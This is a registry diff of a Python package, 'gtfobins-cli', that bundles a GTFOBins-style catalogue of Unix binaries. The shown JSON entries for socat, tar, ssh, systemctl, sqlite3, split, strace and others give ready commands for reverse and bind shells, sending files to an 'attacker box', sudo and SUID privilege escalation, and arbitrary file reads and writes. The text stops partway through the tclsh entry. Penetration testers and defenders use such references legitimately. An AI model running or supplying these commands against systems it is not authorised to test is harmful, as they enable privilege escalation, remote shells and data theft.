gtfobins-cli 1.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- gtfo/__init__.py +2 -0
- gtfo/cli.py +90 -0
- gtfo/data/apt-get.json +24 -0
- gtfo/data/apt.json +24 -0
- gtfo/data/ar.json +20 -0
- gtfo/data/aria2c.json +24 -0
- gtfo/data/arp.json +20 -0
- gtfo/data/ash.json +24 -0
- gtfo/data/at.json +20 -0
- gtfo/data/atobm.json +20 -0
- gtfo/data/awk.json +46 -0
- gtfo/data/base32.json +19 -0
- gtfo/data/base64.json +19 -0
- gtfo/data/basenc.json +19 -0
- gtfo/data/bash.json +69 -0
- gtfo/data/bpftrace.json +15 -0
- gtfo/data/bundler.json +29 -0
- gtfo/data/busctl.json +15 -0
- gtfo/data/busybox.json +37 -0
- gtfo/data/byebug.json +19 -0
- gtfo/data/cancel.json +10 -0
- gtfo/data/capsh.json +19 -0
- gtfo/data/cat.json +19 -0
- gtfo/data/certbot.json +14 -0
- gtfo/data/check_by_ssh.json +17 -0
- gtfo/data/check_cups.json +15 -0
- gtfo/data/check_log.json +20 -0
- gtfo/data/check_memory.json +15 -0
- gtfo/data/check_raid.json +15 -0
- gtfo/data/check_ssl_cert.json +17 -0
- gtfo/data/check_statusfile.json +15 -0
- gtfo/data/chmod.json +15 -0
- gtfo/data/chown.json +15 -0
- gtfo/data/chroot.json +14 -0
- gtfo/data/cobc.json +14 -0
- gtfo/data/column.json +20 -0
- gtfo/data/comm.json +19 -0
- gtfo/data/composer.json +19 -0
- gtfo/data/cowsay.json +15 -0
- gtfo/data/cowthink.json +14 -0
- gtfo/data/cp.json +32 -0
- gtfo/data/cpan.json +33 -0
- gtfo/data/cpio.json +48 -0
- gtfo/data/cpulimit.json +19 -0
- gtfo/data/crash.json +21 -0
- gtfo/data/crontab.json +16 -0
- gtfo/data/csh.json +24 -0
- gtfo/data/csplit.json +19 -0
- gtfo/data/csvtool.json +31 -0
- gtfo/data/cupsfilter.json +19 -0
- gtfo/data/curl.json +34 -0
- gtfo/data/cut.json +19 -0
- gtfo/data/dash.json +24 -0
- gtfo/data/date.json +20 -0
- gtfo/data/dd.json +24 -0
- gtfo/data/dialog.json +20 -0
- gtfo/data/diff.json +19 -0
- gtfo/data/dig.json +20 -0
- gtfo/data/dmesg.json +22 -0
- gtfo/data/dmsetup.json +14 -0
- gtfo/data/dnf.json +10 -0
- gtfo/data/docker.json +35 -0
- gtfo/data/dpkg.json +20 -0
- gtfo/data/dvips.json +20 -0
- gtfo/data/easy_install.json +53 -0
- gtfo/data/eb.json +15 -0
- gtfo/data/ed.json +34 -0
- gtfo/data/emacs.json +29 -0
- gtfo/data/env.json +19 -0
- gtfo/data/eqn.json +20 -0
- gtfo/data/ex.json +24 -0
- gtfo/data/exiftool.json +20 -0
- gtfo/data/expand.json +20 -0
- gtfo/data/expect.json +19 -0
- gtfo/data/facter.json +14 -0
- gtfo/data/file.json +26 -0
- gtfo/data/find.json +19 -0
- gtfo/data/finger.json +17 -0
- gtfo/data/flock.json +19 -0
- gtfo/data/fmt.json +27 -0
- gtfo/data/fold.json +19 -0
- gtfo/data/ftp.json +26 -0
- gtfo/data/gawk.json +46 -0
- gtfo/data/gcc.json +24 -0
- gtfo/data/gdb.json +66 -0
- gtfo/data/gem.json +28 -0
- gtfo/data/genisoimage.json +15 -0
- gtfo/data/ghc.json +14 -0
- gtfo/data/ghci.json +14 -0
- gtfo/data/gimp.json +57 -0
- gtfo/data/git.json +55 -0
- gtfo/data/grep.json +20 -0
- gtfo/data/gtester.json +19 -0
- gtfo/data/gzip.json +23 -0
- gtfo/data/hd.json +20 -0
- gtfo/data/head.json +19 -0
- gtfo/data/hexdump.json +20 -0
- gtfo/data/highlight.json +19 -0
- gtfo/data/hping3.json +19 -0
- gtfo/data/iconv.json +25 -0
- gtfo/data/iftop.json +20 -0
- gtfo/data/install.json +15 -0
- gtfo/data/ionice.json +19 -0
- gtfo/data/ip.json +28 -0
- gtfo/data/irb.json +47 -0
- gtfo/data/jjs.json +43 -0
- gtfo/data/join.json +19 -0
- gtfo/data/journalctl.json +15 -0
- gtfo/data/jq.json +19 -0
- gtfo/data/jrunscript.json +43 -0
- gtfo/data/ksh.json +60 -0
- gtfo/data/ksshell.json +20 -0
- gtfo/data/latex.json +29 -0
- gtfo/data/latexmk.json +27 -0
- gtfo/data/ld.so.json +20 -0
- gtfo/data/ldconfig.json +17 -0
- gtfo/data/less.json +40 -0
- gtfo/data/logsave.json +19 -0
- gtfo/data/look.json +19 -0
- gtfo/data/ltrace.json +26 -0
- gtfo/data/lua.json +58 -0
- gtfo/data/lualatex.json +20 -0
- gtfo/data/luatex.json +20 -0
- gtfo/data/lwp-download.json +26 -0
- gtfo/data/lwp-request.json +14 -0
- gtfo/data/mail.json +20 -0
- gtfo/data/make.json +26 -0
- gtfo/data/man.json +24 -0
- gtfo/data/mawk.json +34 -0
- gtfo/data/more.json +24 -0
- gtfo/data/mount.json +10 -0
- gtfo/data/mtr.json +15 -0
- gtfo/data/mv.json +15 -0
- gtfo/data/mysql.json +26 -0
- gtfo/data/nano.json +34 -0
- gtfo/data/nawk.json +46 -0
- gtfo/data/nc.json +40 -0
- gtfo/data/nice.json +19 -0
- gtfo/data/nl.json +20 -0
- gtfo/data/nmap.json +82 -0
- gtfo/data/node.json +58 -0
- gtfo/data/nohup.json +24 -0
- gtfo/data/npm.json +14 -0
- gtfo/data/nroff.json +20 -0
- gtfo/data/nsenter.json +14 -0
- gtfo/data/octave-cli.json +30 -0
- gtfo/data/od.json +20 -0
- gtfo/data/openssl.json +55 -0
- gtfo/data/openvpn.json +28 -0
- gtfo/data/openvt.json +10 -0
- gtfo/data/paste.json +19 -0
- gtfo/data/pdb.json +15 -0
- gtfo/data/pdflatex.json +29 -0
- gtfo/data/pdftex.json +19 -0
- gtfo/data/perl.json +35 -0
- gtfo/data/pg.json +24 -0
- gtfo/data/php.json +70 -0
- gtfo/data/pic.json +19 -0
- gtfo/data/pico.json +34 -0
- gtfo/data/pip.json +53 -0
- gtfo/data/pkexec.json +9 -0
- gtfo/data/pkg.json +10 -0
- gtfo/data/pr.json +20 -0
- gtfo/data/pry.json +19 -0
- gtfo/data/psql.json +15 -0
- gtfo/data/puppet.json +26 -0
- gtfo/data/python.json +62 -0
- gtfo/data/rake.json +19 -0
- gtfo/data/readelf.json +20 -0
- gtfo/data/red.json +20 -0
- gtfo/data/redcarpet.json +15 -0
- gtfo/data/restic.json +20 -0
- gtfo/data/rev.json +19 -0
- gtfo/data/rlogin.json +11 -0
- gtfo/data/rlwrap.json +25 -0
- gtfo/data/rpm.json +26 -0
- gtfo/data/rpmquery.json +19 -0
- gtfo/data/rsync.json +19 -0
- gtfo/data/ruby.json +52 -0
- gtfo/data/run-mailcap.json +28 -0
- gtfo/data/run-parts.json +19 -0
- gtfo/data/rview.json +100 -0
- gtfo/data/rvim.json +100 -0
- gtfo/data/sash.json +19 -0
- gtfo/data/scp.json +31 -0
- gtfo/data/screen.json +24 -0
- gtfo/data/script.json +20 -0
- gtfo/data/sed.json +41 -0
- gtfo/data/service.json +14 -0
- gtfo/data/setarch.json +19 -0
- gtfo/data/sftp.json +26 -0
- gtfo/data/sg.json +15 -0
- gtfo/data/shuf.json +28 -0
- gtfo/data/smbclient.json +27 -0
- gtfo/data/snap.json +10 -0
- gtfo/data/socat.json +46 -0
- gtfo/data/soelim.json +20 -0
- gtfo/data/sort.json +19 -0
- gtfo/data/split.json +31 -0
- gtfo/data/sqlite3.json +34 -0
- gtfo/data/ss.json +20 -0
- gtfo/data/ssh-keygen.json +22 -0
- gtfo/data/ssh.json +38 -0
- gtfo/data/ssh_keyscan.json +20 -0
- gtfo/data/start-stop-daemon.json +19 -0
- gtfo/data/stdbuf.json +19 -0
- gtfo/data/strace.json +25 -0
- gtfo/data/strings.json +20 -0
- gtfo/data/su.json +9 -0
- gtfo/data/sysctl.json +20 -0
- gtfo/data/systemctl.json +21 -0
- gtfo/data/tac.json +20 -0
- gtfo/data/tail.json +19 -0
- gtfo/data/tar.json +51 -0
- gtfo/data/taskset.json +19 -0
- gtfo/data/tbl.json +20 -0
- gtfo/data/tclsh.json +25 -0
- gtfo/data/tcpdump.json +15 -0
- gtfo/data/tee.json +20 -0
- gtfo/data/telnet.json +28 -0
- gtfo/data/tex.json +19 -0
- gtfo/data/tftp.json +28 -0
- gtfo/data/time.json +20 -0
- gtfo/data/timeout.json +19 -0
- gtfo/data/tmux.json +14 -0
- gtfo/data/top.json +16 -0
- gtfo/data/troff.json +20 -0
- gtfo/data/ul.json +20 -0
- gtfo/data/unexpand.json +19 -0
- gtfo/data/uniq.json +20 -0
- gtfo/data/unshare.json +19 -0
- gtfo/data/update-alternatives.json +16 -0
- gtfo/data/uuencode.json +19 -0
- gtfo/data/valgrind.json +14 -0
- gtfo/data/vi.json +28 -0
- gtfo/data/view.json +109 -0
- gtfo/data/vim.json +109 -0
- gtfo/data/vimdiff.json +109 -0
- gtfo/data/virsh.json +21 -0
- gtfo/data/watch.json +25 -0
- gtfo/data/wc.json +20 -0
- gtfo/data/wget.json +40 -0
- gtfo/data/whois.json +25 -0
- gtfo/data/wish.json +20 -0
- gtfo/data/xargs.json +35 -0
- gtfo/data/xelatex.json +29 -0
- gtfo/data/xetex.json +19 -0
- gtfo/data/xmodmap.json +20 -0
- gtfo/data/xmore.json +20 -0
- gtfo/data/xxd.json +24 -0
- gtfo/data/xz.json +19 -0
- gtfo/data/yelp.json +10 -0
- gtfo/data/yum.json +20 -0
- gtfo/data/zip.json +24 -0
- gtfo/data/zsh.json +29 -0
- gtfo/data/zsoelim.json +20 -0
- gtfo/data/zypper.json +22 -0
- gtfobins_cli-1.0.0.dist-info/METADATA +188 -0
- gtfobins_cli-1.0.0.dist-info/RECORD +263 -0
- gtfobins_cli-1.0.0.dist-info/WHEEL +5 -0
- gtfobins_cli-1.0.0.dist-info/entry_points.txt +2 -0
- gtfobins_cli-1.0.0.dist-info/licenses/LICENSE +674 -0
- gtfobins_cli-1.0.0.dist-info/top_level.txt +1 -0
gtfo/data/socat.json
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "The resulting shell is not a proper TTY shell and lacks the prompt.",
|
|
6
|
+
"code": "socat stdin exec:/bin/sh\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"reverse-shell": [
|
|
10
|
+
{
|
|
11
|
+
"description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.",
|
|
12
|
+
"code": "socat tcp-connect:[host]:[port] exec:/bin/sh,pty,stderr,setsid,sigint,sane\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"bind-shell": [
|
|
16
|
+
{
|
|
17
|
+
"description": "Run 'socat FILE:`tty`,raw,echo=0 TCP:[host]:[port]' on the attacker box to connect to the shell.",
|
|
18
|
+
"code": "socat TCP-LISTEN:[port],reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane\n"
|
|
19
|
+
}
|
|
20
|
+
],
|
|
21
|
+
"file-upload": [
|
|
22
|
+
{
|
|
23
|
+
"description": "Run 'socat -u tcp-listen:[port],reuseaddr open:[file],creat' on the attacker box to collect the file.",
|
|
24
|
+
"code": "socat -u file:[file] tcp-connect:[host]:[port]\n"
|
|
25
|
+
}
|
|
26
|
+
],
|
|
27
|
+
"file-download": [
|
|
28
|
+
{
|
|
29
|
+
"description": "Run 'socat -u file:[file] tcp-listen:[port],reuseaddr' on the attacker box to send the file.",
|
|
30
|
+
"code": "socat -u tcp-connect:[host]:[port] open:[file],creat\n"
|
|
31
|
+
}
|
|
32
|
+
],
|
|
33
|
+
"sudo": [
|
|
34
|
+
{
|
|
35
|
+
"description": "The resulting shell is not a proper TTY shell and lacks the prompt.",
|
|
36
|
+
"code": "sudo socat stdin exec:/bin/sh\n"
|
|
37
|
+
}
|
|
38
|
+
],
|
|
39
|
+
"limited-suid": [
|
|
40
|
+
{
|
|
41
|
+
"description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.",
|
|
42
|
+
"code": "./socat tcp-connect:[host]:[port] exec:/bin/sh,pty,stderr,setsid,sigint,sane\n"
|
|
43
|
+
}
|
|
44
|
+
]
|
|
45
|
+
}
|
|
46
|
+
}
|
gtfo/data/soelim.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "The content is actually parsed and corrupted by the command, thus it may not be suitable for arbitrary files.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "soelim \"[file]\"\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
"code": "./soelim \"[file]\"\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"code": "sudo soelim \"[file]\"\n"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/sort.json
ADDED
gtfo/data/split.json
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"code": "TF=$(mktemp)\nsplit [file] $TF\ncat $TF*\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"command": [
|
|
9
|
+
{
|
|
10
|
+
"description": "Command execution using an existing or newly created file.",
|
|
11
|
+
"code": "TF=$(mktemp)\nsplit --filter=[command] $TF\n"
|
|
12
|
+
},
|
|
13
|
+
{
|
|
14
|
+
"description": "Command execution using stdin (and close it directly).",
|
|
15
|
+
"code": "echo | split --filter=[command] /dev/stdin\n"
|
|
16
|
+
}
|
|
17
|
+
],
|
|
18
|
+
"shell": [
|
|
19
|
+
{
|
|
20
|
+
"description": "The shell prompt is not printed.",
|
|
21
|
+
"code": "split --filter=/bin/sh /dev/stdin\n"
|
|
22
|
+
}
|
|
23
|
+
],
|
|
24
|
+
"sudo": [
|
|
25
|
+
{
|
|
26
|
+
"description": "The shell prompt is not printed.",
|
|
27
|
+
"code": "split --filter=/bin/sh /dev/stdin\n"
|
|
28
|
+
}
|
|
29
|
+
]
|
|
30
|
+
}
|
|
31
|
+
}
|
gtfo/data/sqlite3.json
ADDED
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "sqlite3 /dev/null '.shell /bin/sh'"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"file-write": [
|
|
9
|
+
{
|
|
10
|
+
"code": "sqlite3 /dev/null -cmd \".output [file]\" 'select \"DATA\";'\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"file-read": [
|
|
14
|
+
{
|
|
15
|
+
"code": "sqlite3 << EOF\nCREATE TABLE t(line TEXT);\n.import [file] t\nSELECT * FROM t;\nEOF\n"
|
|
16
|
+
}
|
|
17
|
+
],
|
|
18
|
+
"suid": [
|
|
19
|
+
{
|
|
20
|
+
"code": "sqlite3 << EOF\nCREATE TABLE t(line TEXT);\n.import [file] t\nSELECT * FROM t;\nEOF"
|
|
21
|
+
}
|
|
22
|
+
],
|
|
23
|
+
"sudo": [
|
|
24
|
+
{
|
|
25
|
+
"code": "sudo sqlite3 /dev/null '.shell /bin/sh'"
|
|
26
|
+
}
|
|
27
|
+
],
|
|
28
|
+
"limited-suid": [
|
|
29
|
+
{
|
|
30
|
+
"code": "./sqlite3 /dev/null '.shell /bin/sh'"
|
|
31
|
+
}
|
|
32
|
+
]
|
|
33
|
+
}
|
|
34
|
+
}
|
gtfo/data/ss.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "The file content is actually parsed so only a part of the first line is returned as a part of an error message.\n",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "ss -a -F [file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
"code": "./ss -a -F [file]\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"code": "sudo ss -a -F [file]\n"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"library-load": [
|
|
4
|
+
{
|
|
5
|
+
"description": "",
|
|
6
|
+
"code": "ssh-keygen -D ./lib.so"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"description": "",
|
|
12
|
+
"code": "sudo ssh-keygen -D ./lib.so"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"suid": [
|
|
16
|
+
{
|
|
17
|
+
"description": "",
|
|
18
|
+
"code": "./ssh-keygen -D ./lib.so"
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
gtfo/data/ssh.json
ADDED
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "Reconnecting may help bypassing restricted shells.",
|
|
6
|
+
"code": "ssh localhost $SHELL --noprofile --norc"
|
|
7
|
+
},
|
|
8
|
+
{
|
|
9
|
+
"description": "Spawn interactive shell through ProxyCommand option.",
|
|
10
|
+
"code": "ssh -o ProxyCommand=';sh 0<&2 1>&2' x"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"file-upload": [
|
|
14
|
+
{
|
|
15
|
+
"description": "Send local file to a SSH server.",
|
|
16
|
+
"code": "ssh [user@host] \"cat > [destination_file]\" < [source_file]\n"
|
|
17
|
+
}
|
|
18
|
+
],
|
|
19
|
+
"file-download": [
|
|
20
|
+
{
|
|
21
|
+
"description": "Fetch a remote file from a SSH server.",
|
|
22
|
+
"code": "ssh [user@host] \"cat [source_file]\" > [destination_file]\n"
|
|
23
|
+
}
|
|
24
|
+
],
|
|
25
|
+
"file-read": [
|
|
26
|
+
{
|
|
27
|
+
"description": "The read file content is corrupted by error prints.",
|
|
28
|
+
"code": "ssh -F [file] localhost\n"
|
|
29
|
+
}
|
|
30
|
+
],
|
|
31
|
+
"sudo": [
|
|
32
|
+
{
|
|
33
|
+
"description": "Spawn interactive root shell through ProxyCommand option.",
|
|
34
|
+
"code": "sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x"
|
|
35
|
+
}
|
|
36
|
+
]
|
|
37
|
+
}
|
|
38
|
+
}
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "The file content is actually parsed so only a part of each line is returned as a part of an error message.\n",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "ssh-keyscan -f [file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
"code": "./ssh-keyscan -f [file]\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"code": "sudo ssh-keyscan -f [file]\n"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "start-stop-daemon -n $RANDOM -S -x /bin/sh"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"suid": [
|
|
9
|
+
{
|
|
10
|
+
"code": "./start-stop-daemon -n $RANDOM -S -x /bin/sh -- -p"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"sudo": [
|
|
14
|
+
{
|
|
15
|
+
"code": "sudo start-stop-daemon -n $RANDOM -S -x /bin/sh"
|
|
16
|
+
}
|
|
17
|
+
]
|
|
18
|
+
}
|
|
19
|
+
}
|
gtfo/data/stdbuf.json
ADDED
gtfo/data/strace.json
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-write": [
|
|
4
|
+
{
|
|
5
|
+
"description": "The data to be written appears amid the syscall log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough. More generally, any binary that executes whatever syscall passing arbitrary data can be used in place of 'strace - [data]'.",
|
|
6
|
+
"code": "strace -s 999 -o [file] strace - [data]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"shell": [
|
|
10
|
+
{
|
|
11
|
+
"code": "strace -o /dev/null /bin/sh"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"suid": [
|
|
15
|
+
{
|
|
16
|
+
"code": "./strace -o /dev/null /bin/sh -p"
|
|
17
|
+
}
|
|
18
|
+
],
|
|
19
|
+
"sudo": [
|
|
20
|
+
{
|
|
21
|
+
"code": "sudo strace -o /dev/null /bin/sh"
|
|
22
|
+
}
|
|
23
|
+
]
|
|
24
|
+
}
|
|
25
|
+
}
|
gtfo/data/strings.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "This only returns ASCII strings, thus it is not suitable for binary files.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "strings \"[file]\"\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
"code": "./strings \"[file]\"\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"code": "sudo strings \"[file]\"\n"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/su.json
ADDED
gtfo/data/sysctl.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "The '-p' argument can also be used in place of '-n'. In both cases though the output might get corrupted, so this might not be suitable to read binary files.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "/usr/sbin/sysctl -n \"/../../[file]\"\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
"code": "./sysctl -n \"/../../[file]\"\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"code": "sudo sysctl -n \"/../../[file]\"\n"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/systemctl.json
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"suid": [
|
|
4
|
+
{
|
|
5
|
+
"code": "TF=$(mktemp).service\necho '[Service]\nType=oneshot\nExecStart=/bin/sh -c \"[command] > /tmp/output\"\n[Install]\nWantedBy=multi-user.target' > $TF\n./systemctl link $TF\n./systemctl enable --now $TF\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"sudo": [
|
|
9
|
+
{
|
|
10
|
+
"code": "TF=$(mktemp)\necho /bin/sh >$TF\nchmod +x $TF\nsudo SYSTEMD_EDITOR=$TF systemctl edit system.slice\n"
|
|
11
|
+
},
|
|
12
|
+
{
|
|
13
|
+
"code": "TF=$(mktemp).service\necho '[Service]\nType=oneshot\nExecStart=/bin/sh -c \"[command] > /tmp/output\"\n[Install]\nWantedBy=multi-user.target' > $TF\nsudo systemctl link $TF\nsudo systemctl enable --now $TF\n"
|
|
14
|
+
},
|
|
15
|
+
{
|
|
16
|
+
"description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
|
|
17
|
+
"code": "sudo systemctl\n!sh\n"
|
|
18
|
+
}
|
|
19
|
+
]
|
|
20
|
+
}
|
|
21
|
+
}
|
gtfo/data/tac.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "Make sure that 'RANDOM' does not appear into the file to read otherwise the content of the file is corrupted by reversing the order of 'RANDOM'-separated chunks.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "tac -s 'RANDOM' \"[file]\"\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
"code": "./tac -s 'RANDOM' \"[file]\"\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"code": "sudo tac -s 'RANDOM' \"[file]\"\n"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/tail.json
ADDED
gtfo/data/tar.json
ADDED
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh"
|
|
6
|
+
},
|
|
7
|
+
{
|
|
8
|
+
"description": "This only works for GNU tar.",
|
|
9
|
+
"code": "tar xf /dev/null -I '/bin/sh -c \"sh <&2 1>&2\"'"
|
|
10
|
+
},
|
|
11
|
+
{
|
|
12
|
+
"description": "This only works for GNU tar. It can be useful when only a limited command argument injection is available.",
|
|
13
|
+
"code": "TF=$(mktemp)\necho '/bin/sh 0<&1' > \"$TF\"\ntar cf \"$TF.tar\" \"$TF\"\ntar xf \"$TF.tar\" --to-command sh\nrm \"$TF\"*\n"
|
|
14
|
+
}
|
|
15
|
+
],
|
|
16
|
+
"file-upload": [
|
|
17
|
+
{
|
|
18
|
+
"description": "This only works for GNU tar. Create tar archive and send it via SSH to a remote location. The attacker box must have the 'rmt' utility installed (it should be present by default in Debian-like distributions).",
|
|
19
|
+
"code": "tar cvf [user@host]:[destination_file] [source_file] --rsh-command=/bin/ssh\n"
|
|
20
|
+
}
|
|
21
|
+
],
|
|
22
|
+
"file-download": [
|
|
23
|
+
{
|
|
24
|
+
"description": "This only works for GNU tar. Download and extract a tar archive via SSH. The attacker box must have the 'rmt' utility installed (it should be present by default in Debian-like distributions).",
|
|
25
|
+
"code": "tar xvf [user@host]:[file] --rsh-command=/bin/ssh\n"
|
|
26
|
+
}
|
|
27
|
+
],
|
|
28
|
+
"file-write": [
|
|
29
|
+
{
|
|
30
|
+
"description": "This only works for GNU tar.",
|
|
31
|
+
"code": "TF=$(mktemp)\necho DATA > \"$TF\"\ntar c --xform \"s@.*@[file]@\" -OP \"$TF\" | tar x -P\n"
|
|
32
|
+
}
|
|
33
|
+
],
|
|
34
|
+
"file-read": [
|
|
35
|
+
{
|
|
36
|
+
"description": "This only works for GNU tar.",
|
|
37
|
+
"code": "tar xf [file] -I '/bin/sh -c \"cat 1>&2\"'\n"
|
|
38
|
+
}
|
|
39
|
+
],
|
|
40
|
+
"sudo": [
|
|
41
|
+
{
|
|
42
|
+
"code": "sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh"
|
|
43
|
+
}
|
|
44
|
+
],
|
|
45
|
+
"limited-suid": [
|
|
46
|
+
{
|
|
47
|
+
"code": "./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh"
|
|
48
|
+
}
|
|
49
|
+
]
|
|
50
|
+
}
|
|
51
|
+
}
|
gtfo/data/taskset.json
ADDED
gtfo/data/tbl.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "The read file content is corrupted by additional text at the beginning.\n",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "tbl [file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
"code": "./tbl [file]\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"code": "sudo tbl [file]\n"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/tclsh.json
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "tclsh\nexec /bin/sh <@stdin >@stdout 2>@stderr\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"non-interactive-reverse-shell": [
|
|
9
|
+
{
|
|
10
|
+
"description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
|
|
11
|
+
